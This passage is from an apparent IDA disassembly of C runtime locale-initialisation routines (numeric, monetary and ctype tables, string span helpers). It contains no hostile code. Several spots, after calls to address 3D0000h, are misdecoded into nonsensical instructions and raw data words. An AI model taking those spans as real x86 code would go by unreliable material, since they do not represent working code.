ds:dword_4EEC84, 0 mov ds:dword_4EEC88, 0 mov ds:dword_4EEC8C, 0 push 88h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41AE60 add esp, 10h mov ecx, ds:off_451048 mov [ecx], eax mov edx, ds:off_451048 cmp dword ptr [edx], 0 jnz short loc_43131B or eax, 0FFFFFFFFh jmp loc_4313C2 ; --------------------------------------------------------------------------- loc_43131B: ; CODE XREF: sub_431120+1F1j push offset a__2 ; "." mov eax, ds:off_451048 mov ecx, [eax] push ecx call sub_41E550 add esp, 8 push 8Dh push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41AE60 add esp, 10h mov edx, ds:off_451048 mov [edx+4], eax mov eax, ds:off_451048 cmp dword ptr [eax+4], 0 jnz short loc_43135F or eax, 0FFFFFFFFh jmp short loc_4313C2 ; --------------------------------------------------------------------------- loc_43135F: ; CODE XREF: sub_431120+238j mov ecx, ds:off_451048 mov edx, [ecx+4] mov byte ptr [edx], 0 push 92h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41AE60 add esp, 10h mov ecx, ds:off_451048 mov [ecx+8], eax mov edx, ds:off_451048 cmp dword ptr [edx+8], 0 jnz short loc_43139B or eax, 0FFFFFFFFh jmp short loc_4313C2 ; --------------------------------------------------------------------------- loc_43139B: ; CODE XREF: sub_431120+274j mov eax, ds:off_451048 mov ecx, [eax+8] mov byte ptr [ecx], 0 mov edx, ds:off_451048 mov eax, [edx] mov cl, [eax] mov ds:byte_44FD24, cl mov ds:dword_44FD28, 1 xor eax, eax loc_4313C2: ; CODE XREF: sub_431120+E4j ; sub_431120+175j ... mov esp, ebp pop ebp retn sub_431120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4313D0 proc near ; CODE XREF: sub_431120+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_4313D4: ; CODE XREF: sub_4313D0:loc_431447j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_431449 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_43140D mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_43140D mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_431447 ; --------------------------------------------------------------------------- loc_43140D: ; CODE XREF: sub_4313D0+17j ; sub_4313D0+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_43143E mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_43141E: ; CODE XREF: sub_4313D0+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_43141E jmp short loc_431447 ; --------------------------------------------------------------------------- loc_43143E: ; CODE XREF: sub_4313D0+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_431447: ; CODE XREF: sub_4313D0+3Bj ; sub_4313D0+6Cj jmp short loc_4313D4 ; --------------------------------------------------------------------------- loc_431449: ; CODE XREF: sub_4313D0+Cj mov esp, ebp pop ebp retn sub_4313D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431450 proc near ; DATA XREF: seg002:0045055Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4EEA74, 0 jz loc_43151C push 4Ah push offset aInitmon_c ; "initmon.c" push 2 push 30h push 1 call sub_41B270 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_431489 mov eax, 1 jmp loc_43157C ; --------------------------------------------------------------------------- loc_431489: ; CODE XREF: sub_431450+2Dj mov eax, [ebp+var_4] push eax call sub_431580 add esp, 4 test eax, eax jz short loc_4314BD mov ecx, [ebp+var_4] push ecx call sub_431810 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_41B8F0 add esp, 8 mov eax, 1 jmp loc_43157C ; --------------------------------------------------------------------------- loc_4314BD: ; CODE XREF: sub_431450+47j mov eax, [ebp+var_4] mov ecx, ds:off_451048 mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_4] mov ecx, ds:off_451048 mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_4] mov ecx, ds:off_451048 mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_4] mov ds:off_451048, eax mov ecx, ds:dword_4EEC90 push ecx call sub_431810 add esp, 4 push 2 mov edx, ds:dword_4EEC90 push edx call sub_41B8F0 add esp, 8 mov eax, [ebp+var_4] mov ds:dword_4EEC90, eax xor eax, eax jmp short loc_43157C ; --------------------------------------------------------------------------- loc_43151C: ; CODE XREF: sub_431450+Bj mov ecx, ds:off_451048 mov edx, [ecx] mov ds:off_451018, edx mov eax, ds:off_451048 mov ecx, [eax+4] mov ds:off_45101C, ecx mov edx, ds:off_451048 mov eax, [edx+8] mov ds:off_451020, eax mov ds:off_451048, offset off_451018 mov ecx, ds:dword_4EEC90 push ecx call sub_431810 add esp, 4 push 2 mov edx, ds:dword_4EEC90 push edx call sub_41B8F0 add esp, 8 mov ds:dword_4EEC90, 0 xor eax, eax loc_43157C: ; CODE XREF: sub_431450+34j ; sub_431450+68j ... mov esp, ebp pop ebp retn sub_431450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431580 proc near ; CODE XREF: sub_431450+3Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, ds:word_4EECB0 mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_4315A6 or eax, 0FFFFFFFFh jmp loc_431789 ; --------------------------------------------------------------------------- loc_4315A6: ; CODE XREF: sub_431580+1Cj mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx push 15h mov edx, [ebp+var_4] push edx push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 14h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 16h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 17h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 18h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_431790 add esp, 4 mov ecx, [ebp+arg_0] add ecx, 20h push ecx push 50h mov edx, [ebp+var_4] push edx push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 51h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 1Ah mov eax, [ebp+var_4] push eax push 0 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 29h push edx push 19h mov eax, [ebp+var_4] push eax push 0 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ah push edx push 54h mov eax, [ebp+var_4] push eax push 0 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Bh push edx push 55h mov eax, [ebp+var_4] push eax push 0 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 56h mov eax, [ebp+var_4] push eax push 0 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Dh push edx push 57h mov eax, [ebp+var_4] push eax push 0 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Eh push edx push 52h mov eax, [ebp+var_4] push eax push 0 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Fh push edx push 53h mov eax, [ebp+var_4] push eax push 0 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov eax, [ebp+var_8] loc_431789: ; CODE XREF: sub_431580+21j mov esp, ebp pop ebp retn sub_431580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431790 proc near ; CODE XREF: sub_431580+C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_431794: ; CODE XREF: sub_431790:loc_431807j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_431809 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_4317CD mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_4317CD mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_431807 ; --------------------------------------------------------------------------- loc_4317CD: ; CODE XREF: sub_431790+17j ; sub_431790+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_4317FE mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4317DE: ; CODE XREF: sub_431790+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_4317DE jmp short loc_431807 ; --------------------------------------------------------------------------- loc_4317FE: ; CODE XREF: sub_431790+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_431807: ; CODE XREF: sub_431790+3Bj ; sub_431790+6Cj jmp short loc_431794 ; --------------------------------------------------------------------------- loc_431809: ; CODE XREF: sub_431790+Cj mov esp, ebp pop ebp retn sub_431790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431810 proc near ; CODE XREF: sub_431450+4Dp ; sub_431450+A7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_43181E jmp loc_4318A1 ; --------------------------------------------------------------------------- loc_43181E: ; CODE XREF: sub_431810+7j mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], offset dword_4EECF0 jz short loc_4318A1 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_41B8F0 add esp, 8 loc_4318A1: ; CODE XREF: sub_431810+9j ; sub_431810+18j pop ebp retn sub_431810 endp ; --------------------------------------------------------------------------- align 10h loc_4318B0: ; DATA XREF: seg002:00450550o push ebp mov ebp, esp sub esp, 30h mov dword ptr [ebp-2Ch], 0 mov dword ptr [ebp-28h], 0 cmp ds:dword_4EEA70, 0 jz loc_431C01 cmp ds:dword_4EEA80, 0 jnz short loc_431900 push offset dword_4EEA80 push 1004h xor eax, eax mov ax, ds:word_4EECA8 push eax push 0 call sub_435830 add esp, 10h test eax, eax jz short loc_431900 jmp loc_431BC2 ; --------------------------------------------------------------------------- loc_431900: ; CODE XREF: seg000:004318D8j ; seg000:004318F9j push 5Ch push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41AE60 add esp, 10h mov [ebp-30h], eax push 5Eh push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41AE60 add esp, 10h mov [ebp-1Ch], eax push 60h push offset aInitctyp_c ; "initctyp.c" push 2 push 101h call sub_41AE60 add esp, 10h mov [ebp-2Ch], eax push 62h push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41AE60 add esp, 10h mov [ebp-28h], eax cmp dword ptr [ebp-30h], 0 jz short loc_43197C cmp dword ptr [ebp-1Ch], 0 jz short loc_43197C cmp dword ptr [ebp-2Ch], 0 jz short loc_43197C cmp dword ptr [ebp-28h], 0 jnz short loc_431981 loc_43197C: ; CODE XREF: seg000:00431968j ; seg000:0043196Ej ... jmp loc_431BC2 ; --------------------------------------------------------------------------- loc_431981: ; CODE XREF: seg000:0043197Aj mov ecx, [ebp-2Ch] mov [ebp-18h], ecx mov dword ptr [ebp-20h], 0 jmp short loc_431999 ; --------------------------------------------------------------------------- loc_431990: ; CODE XREF: seg000:004319B3j mov edx, [ebp-20h] add edx, 1 mov [ebp-20h], edx loc_431999: ; CODE XREF: seg000:0043198Ej cmp dword ptr [ebp-20h], 100h jge short loc_4319B5 mov eax, [ebp-18h] mov cl, [ebp-20h] mov [eax], cl mov edx, [ebp-18h] add edx, 1 mov [ebp-18h], edx jmp short loc_431990 ; --------------------------------------------------------------------------- loc_4319B5: ; CODE XREF: seg000:004319A0j lea eax, [ebp-14h] push eax mov ecx, ds:dword_4EEA80 push ecx call near ptr 3D0000h sub al, [ebp-16FA8A40h] rep add [eax], eax add [ebx+7602EC7Dh], al add eax, 1E8E9h add [ebx-1D7E13ABh], cl ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- inc dword ptr [eax] add [ecx+44FD2015h], cl add [ebx+44FD203Dh], al add [ecx], al jle short loc_431A49 lea eax, [ebp-0Eh] mov [ebp-18h], eax jmp short loc_431A03 ; --------------------------------------------------------------------------- loc_4319FA: ; CODE XREF: seg000:loc_431A47j mov ecx, [ebp-18h] add ecx, 2 mov [ebp-18h], ecx loc_431A03: ; CODE XREF: seg000:004319F8j mov edx, [ebp-18h] xor eax, eax mov al, [edx] test eax, eax jz short loc_431A49 mov ecx, [ebp-18h] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_431A49 mov eax, [ebp-18h] xor ecx, ecx mov cl, [eax] mov [ebp-20h], ecx jmp short loc_431A2F ; --------------------------------------------------------------------------- loc_431A26: ; CODE XREF: seg000:00431A45j mov edx, [ebp-20h] add edx, 1 mov [ebp-20h], edx loc_431A2F: ; CODE XREF: seg000:00431A24j mov eax, [ebp-18h] xor ecx, ecx mov cl, [eax+1] cmp [ebp-20h], ecx jg short loc_431A47 mov edx, [ebp-2Ch] add edx, [ebp-20h] mov byte ptr [edx], 0 jmp short loc_431A26 ; --------------------------------------------------------------------------- loc_431A47: ; CODE XREF: seg000:00431A3Aj jmp short loc_4319FA ; --------------------------------------------------------------------------- loc_431A49: ; CODE XREF: seg000:004319F0j ; seg000:00431A0Cj ... push 0 push 0 push 0 mov eax, [ebp-30h] add eax, 2 push eax push 100h mov ecx, [ebp-2Ch] push ecx push 1 call loc_42E040 add esp, 1Ch test eax, eax jnz short loc_431A72 jmp loc_431BC2 ; --------------------------------------------------------------------------- loc_431A72: ; CODE XREF: seg000:00431A6Bj mov edx, [ebp-30h] mov word ptr [edx], 0 mov eax, [ebp-28h] mov [ebp-24h], eax mov dword ptr [ebp-20h], 0 jmp short loc_431A92 ; --------------------------------------------------------------------------- loc_431A89: ; CODE XREF: seg000:00431AAEj mov ecx, [ebp-20h] add ecx, 1 mov [ebp-20h], ecx loc_431A92: ; CODE XREF: seg000:00431A87j cmp dword ptr [ebp-20h], 100h jge short loc_431AB0 mov edx, [ebp-24h] mov ax, [ebp-20h] mov [edx], ax mov ecx, [ebp-24h] add ecx, 2 mov [ebp-24h], ecx jmp short loc_431A89 ; --------------------------------------------------------------------------- loc_431AB0: ; CODE XREF: seg000:00431A99j push 0 push 0 mov edx, [ebp-1Ch] add edx, 2 push edx push 100h mov eax, [ebp-28h] push eax push 1 call loc_435AD0 add esp, 18h test eax, eax jnz short loc_431AD7 jmp loc_431BC2 ; --------------------------------------------------------------------------- loc_431AD7: ; CODE XREF: seg000:00431AD0j mov ecx, [ebp-1Ch] mov word ptr [ecx], 0 cmp ds:dword_44FD20, 1 jle short loc_431B43 lea edx, [ebp-0Eh] mov [ebp-18h], edx jmp short loc_431AF9 ; --------------------------------------------------------------------------- loc_431AF0: ; CODE XREF: seg000:loc_431B41j mov eax, [ebp-18h] add eax, 2 mov [ebp-18h], eax loc_431AF9: ; CODE XREF: seg000:00431AEEj mov ecx, [ebp-18h] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_431B43 mov eax, [ebp-18h] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_431B43 mov edx, [ebp-18h] xor eax, eax mov al, [edx] mov [ebp-20h], eax jmp short loc_431B25 ; --------------------------------------------------------------------------- loc_431B1C: ; CODE XREF: seg000:00431B3Fj mov ecx, [ebp-20h] add ecx, 1 mov [ebp-20h], ecx loc_431B25: ; CODE XREF: seg000:00431B1Aj mov edx, [ebp-18h] xor eax, eax mov al, [edx+1] cmp [ebp-20h], eax jg short loc_431B41 mov ecx, [ebp-20h] mov edx, [ebp-30h] mov word ptr [edx+ecx*2+2], 8000h jmp short loc_431B1C ; --------------------------------------------------------------------------- loc_431B41: ; CODE XREF: seg000:00431B30j jmp short loc_431AF0 ; --------------------------------------------------------------------------- loc_431B43: ; CODE XREF: seg000:00431AE6j ; seg000:00431B02j ... mov eax, [ebp-30h] add eax, 2 mov ds:off_44FE2C, eax mov ecx, [ebp-1Ch] add ecx, 2 mov ds:off_44FE30, ecx cmp ds:dword_4EEC94, 0 jz short loc_431B74 push 2 mov edx, ds:dword_4EEC94 push edx call sub_41B8F0 add esp, 8 loc_431B74: ; CODE XREF: seg000:00431B61j mov eax, [ebp-30h] mov ds:dword_4EEC94, eax cmp ds:dword_4EEC98, 0 jz short loc_431B96 push 2 mov ecx, ds:dword_4EEC98 push ecx call sub_41B8F0 add esp, 8 loc_431B96: ; CODE XREF: seg000:00431B83j mov edx, [ebp-1Ch] mov ds:dword_4EEC98, edx push 2 mov eax, [ebp-2Ch] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp-28h] push ecx call sub_41B8F0 add esp, 8 xor eax, eax jmp loc_431C4C ; --------------------------------------------------------------------------- loc_431BC2: ; CODE XREF: seg000:004318FBj ; seg000:loc_43197Cj ... push 2 mov edx, [ebp-30h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp-1Ch] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp-2Ch] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp-28h] push edx call sub_41B8F0 add esp, 8 mov eax, 1 jmp short loc_431C4C ; --------------------------------------------------------------------------- loc_431C01: ; CODE XREF: seg000:004318CBj mov ds:off_44FE2C, offset word_44FE36 mov ds:off_44FE30, offset word_44FE36 push 2 mov eax, ds:dword_4EEC94 push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, ds:dword_4EEC98 push ecx call sub_41B8F0 add esp, 8 mov ds:dword_4EEC94, 0 mov ds:dword_4EEC98, 0 xor eax, eax loc_431C4C: ; CODE XREF: seg000:00431BBDj ; seg000:00431BFFj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431C50 proc near ; DATA XREF: seg002:00450544o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_431C50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431C60 proc near ; CODE XREF: seg000:0042AE5Ep ; sub_42B510+7Bp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_431C74: ; CODE XREF: sub_431C60+1Fj mov al, [edx] or al, al jz short loc_431C81 inc edx bts [esp+24h+var_24], eax jmp short loc_431C74 ; --------------------------------------------------------------------------- loc_431C81: ; CODE XREF: sub_431C60+18j mov esi, [ebp+arg_0] or ecx, 0FFFFFFFFh nop loc_431C88: ; CODE XREF: sub_431C60+34j inc ecx mov al, [esi] or al, al jz short loc_431C96 inc esi bt [esp+24h+var_24], eax jnb short loc_431C88 loc_431C96: ; CODE XREF: sub_431C60+2Dj mov eax, ecx add esp, 20h pop esi leave retn sub_431C60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431CA0 proc near ; CODE XREF: seg000:0042AD7Dp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_431CB4: ; CODE XREF: sub_431CA0+1Fj mov al, [edx] or al, al jz short loc_431CC1 inc edx bts [esp+24h+var_24], eax jmp short loc_431CB4 ; --------------------------------------------------------------------------- loc_431CC1: ; CODE XREF: sub_431CA0+18j mov esi, [ebp+arg_0] loc_431CC4: ; CODE XREF: sub_431CA0+2Fj mov al, [esi] or al, al jz short loc_431CD4 inc esi bt [esp+24h+var_24], eax jnb short loc_431CC4 lea eax, [esi-1] loc_431CD4: ; CODE XREF: sub_431CA0+28j add esp, 20h pop esi leave retn sub_431CA0 endp ; --------------------------------------------------------------------------- align 10h loc_431CE0: ; CODE XREF: sub_42B320+D3p push ebp mov ebp, esp sub esp, 8 cmp ds:dword_4EECE0, 0 jnz short loc_431D12 call sub_4327B0 test eax, eax jz short loc_431D02 mov eax, ds:dword_4F1354 mov [ebp-8], eax jmp short loc_431D09 ; --------------------------------------------------------------------------- loc_431D02: ; CODE XREF: seg000:00431CF6j mov dword ptr [ebp-8], offset sub_432800 loc_431D09: ; CODE XREF: seg000:00431D00j mov ecx, [ebp-8] mov ds:dword_4EECE0, ecx loc_431D12: ; CODE XREF: seg000:00431CEDj cmp dword ptr [ebp+8], 0 jnz short loc_431D22 call loc_432600 jmp loc_431DEE ; --------------------------------------------------------------------------- loc_431D22: ; CODE XREF: seg000:00431D16j mov edx, [ebp+8] mov ds:dword_4EECD0, edx cmp ds:dword_4EECD0, 0 jz short loc_431D54 mov eax, ds:dword_4EECD0 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_431D54 push offset dword_4EECD0 push 40h push offset off_450D50 call sub_431EE0 add esp, 0Ch loc_431D54: ; CODE XREF: seg000:00431D32j ; seg000:00431D3Ej mov edx, [ebp+8] add edx, 40h mov ds:dword_4EECD4, edx cmp ds:dword_4EECD4, 0 jz short loc_431D89 mov eax, ds:dword_4EECD4 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_431D89 push offset dword_4EECD4 push 16h push offset off_450C98 call sub_431EE0 add esp, 0Ch loc_431D89: ; CODE XREF: seg000:00431D67j ; seg000:00431D73j mov ds:dword_4EECD8, 0 cmp ds:dword_4EECD0, 0 jz short loc_431DCD mov edx, ds:dword_4EECD0 movsx eax, byte ptr [edx] test eax, eax jz short loc_431DCD cmp ds:dword_4EECD4, 0 jz short loc_431DC6 mov ecx, ds:dword_4EECD4 movsx edx, byte ptr [ecx] test edx, edx jz short loc_431DC6 call sub_431F70 jmp short loc_431DCB ; --------------------------------------------------------------------------- loc_431DC6: ; CODE XREF: seg000:00431DB0j ; seg000:00431DBDj call sub_432360 loc_431DCB: ; CODE XREF: seg000:00431DC4j jmp short loc_431DEE ; --------------------------------------------------------------------------- loc_431DCD: ; CODE XREF: seg000:00431D9Aj ; seg000:00431DA7j cmp ds:dword_4EECD4, 0 jz short loc_431DE9 mov eax, ds:dword_4EECD4 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_431DE9 call sub_432500 jmp short loc_431DEE ; --------------------------------------------------------------------------- loc_431DE9: ; CODE XREF: seg000:00431DD4j ; seg000:00431DE0j call loc_432600 loc_431DEE: ; CODE XREF: seg000:00431D1Dj ; seg000:loc_431DCBj ... cmp ds:dword_4EECD8, 0 jnz short loc_431DFE xor eax, eax jmp loc_431EDC ; --------------------------------------------------------------------------- loc_431DFE: ; CODE XREF: seg000:00431DF5j mov edx, [ebp+8] add edx, 80h push edx call sub_432630 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short near ptr loc_431E27+5 mov eax, [ebp-4] and eax, 0FFFFh push eax call near ptr 3D0000h loc_431E27: ; CODE XREF: seg000:00431E17j adc al, [ebp+330775C0h] shr cl, 0A9h ; --------------------------------------------------------------------------- dd 6A000000h, 0C00D8B01h, 51004EECh, 0F9E1BFE8h, 0C085D0FFh dd 0C0330775h, 8FE9h, 0C7D8300h, 8B257400h, 0A1660C55h dd 4EECC0h, 8B028966h, 8B660C4Dh, 4EECDC15h, 51896600h dd 0C458B02h, 0FC4D8B66h, 4488966h, 107D83h, 406A5974h dd 5210558Bh, 100168h, 0ECC0A100h, 0FF50004Eh, 4EECE015h dd 75C08500h, 0EBC03304h, 8B406A3Fh, 0C183104Dh, 2685140h dd 8B000010h, 4EECDC15h, 15FF5200h, 4EECE0h, 475C085h dd 1CEBC033h, 458B0A6Ah, 800510h, 8B500000h, 0E851FC4Dh dd 0FFFFAE6Ch, 0B80CC483h, 1 ; --------------------------------------------------------------------------- loc_431EDC: ; CODE XREF: seg000:00431DF9j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431EE0 proc near ; CODE XREF: seg000:00431D4Cp ; seg000:00431D81p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 1 mov [ebp+var_C], 0 loc_431EF4: ; CODE XREF: sub_431EE0:loc_431F5Cj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jg short loc_431F5E cmp [ebp+var_8], 0 jz short loc_431F5E mov eax, [ebp+var_C] add eax, [ebp+arg_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov eax, [edx+ecx*8] push eax mov ecx, [ebp+arg_8] mov edx, [ecx] push edx call sub_435D40 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_431F42 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*8+4] mov eax, [ebp+arg_8] mov [eax], edx jmp short loc_431F5C ; --------------------------------------------------------------------------- loc_431F42: ; CODE XREF: sub_431EE0+4Fj cmp [ebp+var_8], 0 jge short loc_431F53 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_431F5C ; --------------------------------------------------------------------------- loc_431F53: ; CODE XREF: sub_431EE0+66j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx loc_431F5C: ; CODE XREF: sub_431EE0+60j ; sub_431EE0+71j jmp short loc_431EF4 ; --------------------------------------------------------------------------- loc_431F5E: ; CODE XREF: sub_431EE0+1Aj ; sub_431EE0+20j mov esp, ebp pop ebp retn sub_431EE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431F70 proc near ; CODE XREF: seg000:00431DBFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, ds:dword_4EECD0 push eax call sub_41AC70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov ds:dword_4EECCC, ecx mov edx, ds:dword_4EECD4 push edx call sub_41AC70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov ds:dword_4EECC4, ecx mov ds:dword_4EECC0, 0 cmp ds:dword_4EECCC, 0 jz short loc_431FC9 mov [ebp+var_4], 2 jmp short loc_431FDB ; --------------------------------------------------------------------------- loc_431FC9: ; CODE XREF: sub_431F70+4Ej mov edx, ds:dword_4EECD0 push edx call sub_432A10 add esp, 4 mov [ebp+var_4], eax loc_431FDB: ; CODE XREF: sub_431F70+57j mov eax, [ebp+var_4] mov ds:dword_4EECC8, eax push 1 push offset sub_432030 call near ptr 3D0000h pop es mov ecx, ds:dword_4EECD8 and ecx, 100h test ecx, ecx jz short loc_43201C mov edx, ds:dword_4EECD8 and edx, 200h test 